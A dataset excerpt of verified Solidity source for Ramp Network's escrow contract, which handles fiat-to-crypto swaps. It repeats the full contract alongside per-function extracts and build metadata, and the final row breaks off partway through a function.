EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AbstractRampSwaps | contract AbstractRampSwaps is Ownable, WithStatus, WithOracles, AssetAdapter {
/// @dev contract version, defined in semver
string public constant VERSION = "0.3.1";
/// @dev used as a special swap endTime value, to denote a yet unclaimed swap
uint32 internal constant SWAP_UNCLAIMED = 1;
uint32 internal constant MIN_ACTUAL_TIMESTAMP = 1000000000;
/// @notice how long are sender's funds locked from a claim until he can cancel the swap
uint32 internal constant SWAP_LOCK_TIME_S = 3600 * 24 * 7;
event Created(bytes32 indexed swapHash);
event BuyerSet(bytes32 indexed oldSwapHash, bytes32 indexed newSwapHash);
event Claimed(bytes32 indexed oldSwapHash, bytes32 indexed newSwapHash);
event Released(bytes32 indexed swapHash);
event SenderReleased(bytes32 indexed swapHash);
event Returned(bytes32 indexed swapHash);
event SenderReturned(bytes32 indexed swapHash);
/**
* @notice Mapping from swap details hash to its end time (as a unix timestamp).
* After the end time the swap can be cancelled, and the funds will be returned to the sender.
* Value `(SWAP_UNCLAIMED)` is used to denote that a swap exists, but has not yet been claimed
* by any receiver, and can also be cancelled until that.
*/
mapping (bytes32 => uint32) internal swaps;
/**
* @dev EIP712 type hash for the struct:
* EIP712Domain {
* name: string;
* version: string;
* chainId: uint256;
* verifyingContract: address;
* }
*/
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
bytes32 internal EIP712_DOMAIN_HASH;
constructor(uint256 _chainId) internal {
EIP712_DOMAIN_HASH = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes("RampSwaps")),
keccak256(bytes(VERSION)),
_chainId,
address(this)
)
);
}
/**
* Swap creation, called by the crypto sender. Checks swap parameters and ensures the crypto
* asset is locked on this contract.
* Additionally to the swap details, this function takes params v, r, s, which is checked to be
* an ECDSA signature of the swap hash made by the oracle -- to prevent users from creating
* swaps outside Ramp Network.
*
* Emits a `Created` event with the swap hash.
*/
function create(
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
)
external
payable
statusAtLeast(Status.ACTIVE)
isOracle(_oracle)
checkAssetType(_assetData)
returns
(bool success)
{
bytes32 swapHash = getSwapHash(
msg.sender, address(0), _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapNotExists(swapHash);
require(ecrecover(swapHash, v, r, s) == _oracle, "invalid swap oracle signature");
// Set up swap status before transfer, to avoid reentrancy attacks.
// Even if a malicious token is somehow passed to this function (despite the oracle
// signature of its details), the state of this contract is already fully updated,
// so it will behave correctly (as it would be a separate call).
swaps[swapHash] = SWAP_UNCLAIMED;
require(
lockAssetFrom(_assetData, msg.sender),
"failed to lock asset on escrow"
);
emit Created(swapHash);
return true;
}
/**
* Swap claim, called by the swap's oracle on behalf of the receiver, to confirm his interest
* in buying the crypto asset.
* Additional v, r, s parameters are checked to be the receiver's EIP712 typed data signature
* of the swap's details and a 'claim this swap' action -- which verifies the receiver's address
* and the authenthicity of his claim request. See `getClaimTypedHash` for description of the
* signed swap struct.
*
* Emits a `Claimed` event with the current swap hash and the new swap hash, updated with
* receiver's address. The current swap hash equal to the hash emitted in `create`, unless
* `setBuyer` was called in the meantime -- then the current swap hash is equal to the new
* swap hash, because the receiver's address was already set.
*/
function claim(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
) external statusAtLeast(Status.ACTIVE) onlyOracle(_oracle) {
// Verify claim signature
bytes32 claimTypedHash = getClaimTypedHash(
_sender,
_receiver,
_assetData,
_paymentDetailsHash
);
require(ecrecover(claimTypedHash, v, r, s) == _receiver, "invalid claim receiver signature");
// Verify swap hashes
bytes32 oldSwapHash = getSwapHash(
_sender, address(0), _oracle, keccak256(_assetData), _paymentDetailsHash
);
bytes32 newSwapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
bytes32 claimFromHash;
// We want this function to be universal, regardless of whether `setBuyer` was called before.
// If it was, the hash is already changed
if (swaps[oldSwapHash] == 0) {
claimFromHash = newSwapHash;
requireSwapUnclaimed(newSwapHash);
} else {
claimFromHash = oldSwapHash;
requireSwapUnclaimed(oldSwapHash);
requireSwapNotExists(newSwapHash);
swaps[oldSwapHash] = 0;
}
// any overflow security warnings can be safely ignored -- SWAP_LOCK_TIME_S is a small
// constant, so this won't overflow an uint32 until year 2106
// solium-disable-next-line security/no-block-members
swaps[newSwapHash] = uint32(block.timestamp) + SWAP_LOCK_TIME_S;
emit Claimed(claimFromHash, newSwapHash);
}
/**
* Swap release, which transfers the crypto asset to the receiver and removes the swap from
* the active swap mapping. Normally called by the swap's oracle after it confirms a matching
* wire transfer on sender's bank account. Can be also called by the sender, for example in case
* of a dispute, when the parties reach an agreement off-chain.
*
* Emits a `Released` event with the swap's hash.
*/
function release(
address _sender,
address payable _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.FINALIZE_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapClaimed(swapHash);
// Delete the swap status before transfer, to avoid reentrancy attacks.
swaps[swapHash] = 0;
require(
sendAssetTo(_assetData, _receiver),
"failed to send asset to receiver"
);
if (msg.sender == _sender) {
emit SenderReleased(swapHash);
} else {
emit Released(swapHash);
}
}
/**
* Swap return, which transfers the crypto asset back to the sender and removes the swap from
* the active swap mapping. Can be called by the sender or the swap's oracle, but only if the
* swap is not claimed, or was claimed but the escrow lock time expired.
*
* Emits a `Returned` event with the swap's hash.
*/
function returnFunds(
address payable _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.RETURN_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapUnclaimedOrExpired(swapHash);
// Delete the swap status before transfer, to avoid reentrancy attacks.
swaps[swapHash] = 0;
require(
sendAssetTo(_assetData, _sender),
"failed to send asset to sender"
);
if (msg.sender == _sender) {
emit SenderReturned(swapHash);
} else {
emit Returned(swapHash);
}
}
/**
* After the sender creates a swap, he can optionally call this function to restrict the swap
* to a particular receiver address. The swap can't then be claimed by any other receiver.
*
* Emits a `BuyerSet` event with the created swap hash and new swap hash, updated with
* receiver's address.
*/
function setBuyer(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.ACTIVE) onlySender(_sender) {
bytes32 assetHash = keccak256(_assetData);
bytes32 oldSwapHash = getSwapHash(
_sender, address(0), _oracle, assetHash, _paymentDetailsHash
);
requireSwapUnclaimed(oldSwapHash);
bytes32 newSwapHash = getSwapHash(
_sender, _receiver, _oracle, assetHash, _paymentDetailsHash
);
requireSwapNotExists(newSwapHash);
swaps[oldSwapHash] = 0;
swaps[newSwapHash] = SWAP_UNCLAIMED;
emit BuyerSet(oldSwapHash, newSwapHash);
}
/**
* Given all valid swap details, returns its status. To check a swap with unset buyer,
* use `0x0` as the `_receiver` address. The return can be:
* 0: the swap details are invalid, swap doesn't exist, or was already released/returned.
* 1: the swap was created, and is not claimed yet.
* >1: the swap was claimed, and the value is a timestamp indicating end of its lock time.
*/
function getSwapStatus(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external view returns (uint32 status) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
return swaps[swapHash];
}
/**
* Calculates the swap hash used to reference the swap in this contract's storage.
*/
function getSwapHash(
address _sender,
address _receiver,
address _oracle,
bytes32 assetHash,
bytes32 _paymentDetailsHash
) internal pure returns (bytes32 hash) {
return keccak256(
abi.encodePacked(
_sender, _receiver, _oracle, assetHash, _paymentDetailsHash
)
);
}
/**
* Returns the EIP712 typed hash for the struct:
* EIP712<Type>Swap {
* action: bytes32;
* sender: address;
* receiver: address;
* asset: asset data struct, see `getAssetTypedHash` in specific AssetAdapter contracts
* paymentDetailsHash: bytes32;
* }
*/
function getClaimTypedHash(
address _sender,
address _receiver,
bytes memory _assetData,
bytes32 _paymentDetailsHash
) internal view returns(bytes32 msgHash) {
bytes32 dataHash = keccak256(
abi.encode(
EIP712_SWAP_TYPEHASH,
bytes32("claim this swap"),
_sender,
_receiver,
getAssetTypedHash(_assetData),
_paymentDetailsHash
)
);
return keccak256(abi.encodePacked(bytes2(0x1901), EIP712_DOMAIN_HASH, dataHash));
}
function requireSwapNotExists(bytes32 swapHash) internal view {
require(swaps[swapHash] == 0, "swap already exists");
}
function requireSwapUnclaimed(bytes32 swapHash) internal view {
require(swaps[swapHash] == SWAP_UNCLAIMED, "swap already claimed or invalid");
}
function requireSwapClaimed(bytes32 swapHash) internal view {
require(swaps[swapHash] > MIN_ACTUAL_TIMESTAMP, "swap unclaimed or invalid");
}
function requireSwapUnclaimedOrExpired(bytes32 swapHash) internal view {
require(
// solium-disable-next-line security/no-block-members
(swaps[swapHash] > MIN_ACTUAL_TIMESTAMP && block.timestamp > swaps[swapHash]) ||
swaps[swapHash] == SWAP_UNCLAIMED,
"swap not expired or invalid"
);
}
} | /**
* The main contract managing Ramp Swaps escrows lifecycle: create, claim, release and return.
* Uses an abstract AssetAdapter to carry out the transfers and handle the particular asset data.
* With a corresponding off-chain protocol allows for atomic-swap-like transfer between
* fiat currencies and crypto assets.
*
* @dev an active swap is represented by a hash of its details, mapped to its escrow expiration
* timestamp. When the swap is created, but not yet claimed, its end time is set to SWAP_UNCLAIMED.
* The hashed swap details are:
* * address sender: the swap's creator, that sells the crypto asset;
* * address receiver: the user that buys the crypto asset, `0x0` until the swap is claimed;
* * address oracle: address of the oracle that handles this particular swap;
* * bytes assetData: description of the crypto asset, handled by an AssetAdapter;
* * bytes32 paymentDetailsHash: hash of the fiat payment details: account numbers, fiat value
* and currency, and the transfer reference (title), that can be verified off-chain.
*
* @author Ramp Network sp. z o.o.
*/ | NatSpecMultiLine | getSwapStatus | function getSwapStatus(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external view returns (uint32 status) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
return swaps[swapHash];
}
| /**
* Given all valid swap details, returns its status. To check a swap with unset buyer,
* use `0x0` as the `_receiver` address. The return can be:
* 0: the swap details are invalid, swap doesn't exist, or was already released/returned.
* 1: the swap was created, and is not claimed yet.
* >1: the swap was claimed, and the value is a timestamp indicating end of its lock time.
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
10455,
10861
]
} | 8,825 |
|
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AbstractRampSwaps | contract AbstractRampSwaps is Ownable, WithStatus, WithOracles, AssetAdapter {
/// @dev contract version, defined in semver
string public constant VERSION = "0.3.1";
/// @dev used as a special swap endTime value, to denote a yet unclaimed swap
uint32 internal constant SWAP_UNCLAIMED = 1;
uint32 internal constant MIN_ACTUAL_TIMESTAMP = 1000000000;
/// @notice how long are sender's funds locked from a claim until he can cancel the swap
uint32 internal constant SWAP_LOCK_TIME_S = 3600 * 24 * 7;
event Created(bytes32 indexed swapHash);
event BuyerSet(bytes32 indexed oldSwapHash, bytes32 indexed newSwapHash);
event Claimed(bytes32 indexed oldSwapHash, bytes32 indexed newSwapHash);
event Released(bytes32 indexed swapHash);
event SenderReleased(bytes32 indexed swapHash);
event Returned(bytes32 indexed swapHash);
event SenderReturned(bytes32 indexed swapHash);
/**
* @notice Mapping from swap details hash to its end time (as a unix timestamp).
* After the end time the swap can be cancelled, and the funds will be returned to the sender.
* Value `(SWAP_UNCLAIMED)` is used to denote that a swap exists, but has not yet been claimed
* by any receiver, and can also be cancelled until that.
*/
mapping (bytes32 => uint32) internal swaps;
/**
* @dev EIP712 type hash for the struct:
* EIP712Domain {
* name: string;
* version: string;
* chainId: uint256;
* verifyingContract: address;
* }
*/
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
bytes32 internal EIP712_DOMAIN_HASH;
constructor(uint256 _chainId) internal {
EIP712_DOMAIN_HASH = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes("RampSwaps")),
keccak256(bytes(VERSION)),
_chainId,
address(this)
)
);
}
/**
* Swap creation, called by the crypto sender. Checks swap parameters and ensures the crypto
* asset is locked on this contract.
* Additionally to the swap details, this function takes params v, r, s, which is checked to be
* an ECDSA signature of the swap hash made by the oracle -- to prevent users from creating
* swaps outside Ramp Network.
*
* Emits a `Created` event with the swap hash.
*/
function create(
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
)
external
payable
statusAtLeast(Status.ACTIVE)
isOracle(_oracle)
checkAssetType(_assetData)
returns
(bool success)
{
bytes32 swapHash = getSwapHash(
msg.sender, address(0), _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapNotExists(swapHash);
require(ecrecover(swapHash, v, r, s) == _oracle, "invalid swap oracle signature");
// Set up swap status before transfer, to avoid reentrancy attacks.
// Even if a malicious token is somehow passed to this function (despite the oracle
// signature of its details), the state of this contract is already fully updated,
// so it will behave correctly (as it would be a separate call).
swaps[swapHash] = SWAP_UNCLAIMED;
require(
lockAssetFrom(_assetData, msg.sender),
"failed to lock asset on escrow"
);
emit Created(swapHash);
return true;
}
/**
* Swap claim, called by the swap's oracle on behalf of the receiver, to confirm his interest
* in buying the crypto asset.
* Additional v, r, s parameters are checked to be the receiver's EIP712 typed data signature
* of the swap's details and a 'claim this swap' action -- which verifies the receiver's address
* and the authenthicity of his claim request. See `getClaimTypedHash` for description of the
* signed swap struct.
*
* Emits a `Claimed` event with the current swap hash and the new swap hash, updated with
* receiver's address. The current swap hash equal to the hash emitted in `create`, unless
* `setBuyer` was called in the meantime -- then the current swap hash is equal to the new
* swap hash, because the receiver's address was already set.
*/
function claim(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
) external statusAtLeast(Status.ACTIVE) onlyOracle(_oracle) {
// Verify claim signature
bytes32 claimTypedHash = getClaimTypedHash(
_sender,
_receiver,
_assetData,
_paymentDetailsHash
);
require(ecrecover(claimTypedHash, v, r, s) == _receiver, "invalid claim receiver signature");
// Verify swap hashes
bytes32 oldSwapHash = getSwapHash(
_sender, address(0), _oracle, keccak256(_assetData), _paymentDetailsHash
);
bytes32 newSwapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
bytes32 claimFromHash;
// We want this function to be universal, regardless of whether `setBuyer` was called before.
// If it was, the hash is already changed
if (swaps[oldSwapHash] == 0) {
claimFromHash = newSwapHash;
requireSwapUnclaimed(newSwapHash);
} else {
claimFromHash = oldSwapHash;
requireSwapUnclaimed(oldSwapHash);
requireSwapNotExists(newSwapHash);
swaps[oldSwapHash] = 0;
}
// any overflow security warnings can be safely ignored -- SWAP_LOCK_TIME_S is a small
// constant, so this won't overflow an uint32 until year 2106
// solium-disable-next-line security/no-block-members
swaps[newSwapHash] = uint32(block.timestamp) + SWAP_LOCK_TIME_S;
emit Claimed(claimFromHash, newSwapHash);
}
/**
* Swap release, which transfers the crypto asset to the receiver and removes the swap from
* the active swap mapping. Normally called by the swap's oracle after it confirms a matching
* wire transfer on sender's bank account. Can be also called by the sender, for example in case
* of a dispute, when the parties reach an agreement off-chain.
*
* Emits a `Released` event with the swap's hash.
*/
function release(
address _sender,
address payable _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.FINALIZE_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapClaimed(swapHash);
// Delete the swap status before transfer, to avoid reentrancy attacks.
swaps[swapHash] = 0;
require(
sendAssetTo(_assetData, _receiver),
"failed to send asset to receiver"
);
if (msg.sender == _sender) {
emit SenderReleased(swapHash);
} else {
emit Released(swapHash);
}
}
/**
* Swap return, which transfers the crypto asset back to the sender and removes the swap from
* the active swap mapping. Can be called by the sender or the swap's oracle, but only if the
* swap is not claimed, or was claimed but the escrow lock time expired.
*
* Emits a `Returned` event with the swap's hash.
*/
function returnFunds(
address payable _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.RETURN_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapUnclaimedOrExpired(swapHash);
// Delete the swap status before transfer, to avoid reentrancy attacks.
swaps[swapHash] = 0;
require(
sendAssetTo(_assetData, _sender),
"failed to send asset to sender"
);
if (msg.sender == _sender) {
emit SenderReturned(swapHash);
} else {
emit Returned(swapHash);
}
}
/**
* After the sender creates a swap, he can optionally call this function to restrict the swap
* to a particular receiver address. The swap can't then be claimed by any other receiver.
*
* Emits a `BuyerSet` event with the created swap hash and new swap hash, updated with
* receiver's address.
*/
function setBuyer(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.ACTIVE) onlySender(_sender) {
bytes32 assetHash = keccak256(_assetData);
bytes32 oldSwapHash = getSwapHash(
_sender, address(0), _oracle, assetHash, _paymentDetailsHash
);
requireSwapUnclaimed(oldSwapHash);
bytes32 newSwapHash = getSwapHash(
_sender, _receiver, _oracle, assetHash, _paymentDetailsHash
);
requireSwapNotExists(newSwapHash);
swaps[oldSwapHash] = 0;
swaps[newSwapHash] = SWAP_UNCLAIMED;
emit BuyerSet(oldSwapHash, newSwapHash);
}
/**
* Given all valid swap details, returns its status. To check a swap with unset buyer,
* use `0x0` as the `_receiver` address. The return can be:
* 0: the swap details are invalid, swap doesn't exist, or was already released/returned.
* 1: the swap was created, and is not claimed yet.
* >1: the swap was claimed, and the value is a timestamp indicating end of its lock time.
*/
function getSwapStatus(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external view returns (uint32 status) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
return swaps[swapHash];
}
/**
* Calculates the swap hash used to reference the swap in this contract's storage.
*/
function getSwapHash(
address _sender,
address _receiver,
address _oracle,
bytes32 assetHash,
bytes32 _paymentDetailsHash
) internal pure returns (bytes32 hash) {
return keccak256(
abi.encodePacked(
_sender, _receiver, _oracle, assetHash, _paymentDetailsHash
)
);
}
/**
* Returns the EIP712 typed hash for the struct:
* EIP712<Type>Swap {
* action: bytes32;
* sender: address;
* receiver: address;
* asset: asset data struct, see `getAssetTypedHash` in specific AssetAdapter contracts
* paymentDetailsHash: bytes32;
* }
*/
function getClaimTypedHash(
address _sender,
address _receiver,
bytes memory _assetData,
bytes32 _paymentDetailsHash
) internal view returns(bytes32 msgHash) {
bytes32 dataHash = keccak256(
abi.encode(
EIP712_SWAP_TYPEHASH,
bytes32("claim this swap"),
_sender,
_receiver,
getAssetTypedHash(_assetData),
_paymentDetailsHash
)
);
return keccak256(abi.encodePacked(bytes2(0x1901), EIP712_DOMAIN_HASH, dataHash));
}
function requireSwapNotExists(bytes32 swapHash) internal view {
require(swaps[swapHash] == 0, "swap already exists");
}
function requireSwapUnclaimed(bytes32 swapHash) internal view {
require(swaps[swapHash] == SWAP_UNCLAIMED, "swap already claimed or invalid");
}
function requireSwapClaimed(bytes32 swapHash) internal view {
require(swaps[swapHash] > MIN_ACTUAL_TIMESTAMP, "swap unclaimed or invalid");
}
function requireSwapUnclaimedOrExpired(bytes32 swapHash) internal view {
require(
// solium-disable-next-line security/no-block-members
(swaps[swapHash] > MIN_ACTUAL_TIMESTAMP && block.timestamp > swaps[swapHash]) ||
swaps[swapHash] == SWAP_UNCLAIMED,
"swap not expired or invalid"
);
}
} | /**
* The main contract managing Ramp Swaps escrows lifecycle: create, claim, release and return.
* Uses an abstract AssetAdapter to carry out the transfers and handle the particular asset data.
* With a corresponding off-chain protocol allows for atomic-swap-like transfer between
* fiat currencies and crypto assets.
*
* @dev an active swap is represented by a hash of its details, mapped to its escrow expiration
* timestamp. When the swap is created, but not yet claimed, its end time is set to SWAP_UNCLAIMED.
* The hashed swap details are:
* * address sender: the swap's creator, that sells the crypto asset;
* * address receiver: the user that buys the crypto asset, `0x0` until the swap is claimed;
* * address oracle: address of the oracle that handles this particular swap;
* * bytes assetData: description of the crypto asset, handled by an AssetAdapter;
* * bytes32 paymentDetailsHash: hash of the fiat payment details: account numbers, fiat value
* and currency, and the transfer reference (title), that can be verified off-chain.
*
* @author Ramp Network sp. z o.o.
*/ | NatSpecMultiLine | getSwapHash | function getSwapHash(
address _sender,
address _receiver,
address _oracle,
bytes32 assetHash,
bytes32 _paymentDetailsHash
) internal pure returns (bytes32 hash) {
return keccak256(
abi.encodePacked(
_sender, _receiver, _oracle, assetHash, _paymentDetailsHash
)
);
}
| /**
* Calculates the swap hash used to reference the swap in this contract's storage.
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
10970,
11356
]
} | 8,826 |
|
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AbstractRampSwaps | contract AbstractRampSwaps is Ownable, WithStatus, WithOracles, AssetAdapter {
/// @dev contract version, defined in semver
string public constant VERSION = "0.3.1";
/// @dev used as a special swap endTime value, to denote a yet unclaimed swap
uint32 internal constant SWAP_UNCLAIMED = 1;
uint32 internal constant MIN_ACTUAL_TIMESTAMP = 1000000000;
/// @notice how long are sender's funds locked from a claim until he can cancel the swap
uint32 internal constant SWAP_LOCK_TIME_S = 3600 * 24 * 7;
event Created(bytes32 indexed swapHash);
event BuyerSet(bytes32 indexed oldSwapHash, bytes32 indexed newSwapHash);
event Claimed(bytes32 indexed oldSwapHash, bytes32 indexed newSwapHash);
event Released(bytes32 indexed swapHash);
event SenderReleased(bytes32 indexed swapHash);
event Returned(bytes32 indexed swapHash);
event SenderReturned(bytes32 indexed swapHash);
/**
* @notice Mapping from swap details hash to its end time (as a unix timestamp).
* After the end time the swap can be cancelled, and the funds will be returned to the sender.
* Value `(SWAP_UNCLAIMED)` is used to denote that a swap exists, but has not yet been claimed
* by any receiver, and can also be cancelled until that.
*/
mapping (bytes32 => uint32) internal swaps;
/**
* @dev EIP712 type hash for the struct:
* EIP712Domain {
* name: string;
* version: string;
* chainId: uint256;
* verifyingContract: address;
* }
*/
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
bytes32 internal EIP712_DOMAIN_HASH;
constructor(uint256 _chainId) internal {
EIP712_DOMAIN_HASH = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes("RampSwaps")),
keccak256(bytes(VERSION)),
_chainId,
address(this)
)
);
}
/**
* Swap creation, called by the crypto sender. Checks swap parameters and ensures the crypto
* asset is locked on this contract.
* Additionally to the swap details, this function takes params v, r, s, which is checked to be
* an ECDSA signature of the swap hash made by the oracle -- to prevent users from creating
* swaps outside Ramp Network.
*
* Emits a `Created` event with the swap hash.
*/
function create(
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
)
external
payable
statusAtLeast(Status.ACTIVE)
isOracle(_oracle)
checkAssetType(_assetData)
returns
(bool success)
{
bytes32 swapHash = getSwapHash(
msg.sender, address(0), _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapNotExists(swapHash);
require(ecrecover(swapHash, v, r, s) == _oracle, "invalid swap oracle signature");
// Set up swap status before transfer, to avoid reentrancy attacks.
// Even if a malicious token is somehow passed to this function (despite the oracle
// signature of its details), the state of this contract is already fully updated,
// so it will behave correctly (as it would be a separate call).
swaps[swapHash] = SWAP_UNCLAIMED;
require(
lockAssetFrom(_assetData, msg.sender),
"failed to lock asset on escrow"
);
emit Created(swapHash);
return true;
}
/**
* Swap claim, called by the swap's oracle on behalf of the receiver, to confirm his interest
* in buying the crypto asset.
* Additional v, r, s parameters are checked to be the receiver's EIP712 typed data signature
* of the swap's details and a 'claim this swap' action -- which verifies the receiver's address
* and the authenthicity of his claim request. See `getClaimTypedHash` for description of the
* signed swap struct.
*
* Emits a `Claimed` event with the current swap hash and the new swap hash, updated with
* receiver's address. The current swap hash equal to the hash emitted in `create`, unless
* `setBuyer` was called in the meantime -- then the current swap hash is equal to the new
* swap hash, because the receiver's address was already set.
*/
function claim(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
) external statusAtLeast(Status.ACTIVE) onlyOracle(_oracle) {
// Verify claim signature
bytes32 claimTypedHash = getClaimTypedHash(
_sender,
_receiver,
_assetData,
_paymentDetailsHash
);
require(ecrecover(claimTypedHash, v, r, s) == _receiver, "invalid claim receiver signature");
// Verify swap hashes
bytes32 oldSwapHash = getSwapHash(
_sender, address(0), _oracle, keccak256(_assetData), _paymentDetailsHash
);
bytes32 newSwapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
bytes32 claimFromHash;
// We want this function to be universal, regardless of whether `setBuyer` was called before.
// If it was, the hash is already changed
if (swaps[oldSwapHash] == 0) {
claimFromHash = newSwapHash;
requireSwapUnclaimed(newSwapHash);
} else {
claimFromHash = oldSwapHash;
requireSwapUnclaimed(oldSwapHash);
requireSwapNotExists(newSwapHash);
swaps[oldSwapHash] = 0;
}
// any overflow security warnings can be safely ignored -- SWAP_LOCK_TIME_S is a small
// constant, so this won't overflow an uint32 until year 2106
// solium-disable-next-line security/no-block-members
swaps[newSwapHash] = uint32(block.timestamp) + SWAP_LOCK_TIME_S;
emit Claimed(claimFromHash, newSwapHash);
}
/**
* Swap release, which transfers the crypto asset to the receiver and removes the swap from
* the active swap mapping. Normally called by the swap's oracle after it confirms a matching
* wire transfer on sender's bank account. Can be also called by the sender, for example in case
* of a dispute, when the parties reach an agreement off-chain.
*
* Emits a `Released` event with the swap's hash.
*/
function release(
address _sender,
address payable _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.FINALIZE_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapClaimed(swapHash);
// Delete the swap status before transfer, to avoid reentrancy attacks.
swaps[swapHash] = 0;
require(
sendAssetTo(_assetData, _receiver),
"failed to send asset to receiver"
);
if (msg.sender == _sender) {
emit SenderReleased(swapHash);
} else {
emit Released(swapHash);
}
}
/**
* Swap return, which transfers the crypto asset back to the sender and removes the swap from
* the active swap mapping. Can be called by the sender or the swap's oracle, but only if the
* swap is not claimed, or was claimed but the escrow lock time expired.
*
* Emits a `Returned` event with the swap's hash.
*/
function returnFunds(
address payable _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.RETURN_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapUnclaimedOrExpired(swapHash);
// Delete the swap status before transfer, to avoid reentrancy attacks.
swaps[swapHash] = 0;
require(
sendAssetTo(_assetData, _sender),
"failed to send asset to sender"
);
if (msg.sender == _sender) {
emit SenderReturned(swapHash);
} else {
emit Returned(swapHash);
}
}
/**
* After the sender creates a swap, he can optionally call this function to restrict the swap
* to a particular receiver address. The swap can't then be claimed by any other receiver.
*
* Emits a `BuyerSet` event with the created swap hash and new swap hash, updated with
* receiver's address.
*/
function setBuyer(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.ACTIVE) onlySender(_sender) {
bytes32 assetHash = keccak256(_assetData);
bytes32 oldSwapHash = getSwapHash(
_sender, address(0), _oracle, assetHash, _paymentDetailsHash
);
requireSwapUnclaimed(oldSwapHash);
bytes32 newSwapHash = getSwapHash(
_sender, _receiver, _oracle, assetHash, _paymentDetailsHash
);
requireSwapNotExists(newSwapHash);
swaps[oldSwapHash] = 0;
swaps[newSwapHash] = SWAP_UNCLAIMED;
emit BuyerSet(oldSwapHash, newSwapHash);
}
/**
* Given all valid swap details, returns its status. To check a swap with unset buyer,
* use `0x0` as the `_receiver` address. The return can be:
* 0: the swap details are invalid, swap doesn't exist, or was already released/returned.
* 1: the swap was created, and is not claimed yet.
* >1: the swap was claimed, and the value is a timestamp indicating end of its lock time.
*/
function getSwapStatus(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external view returns (uint32 status) {
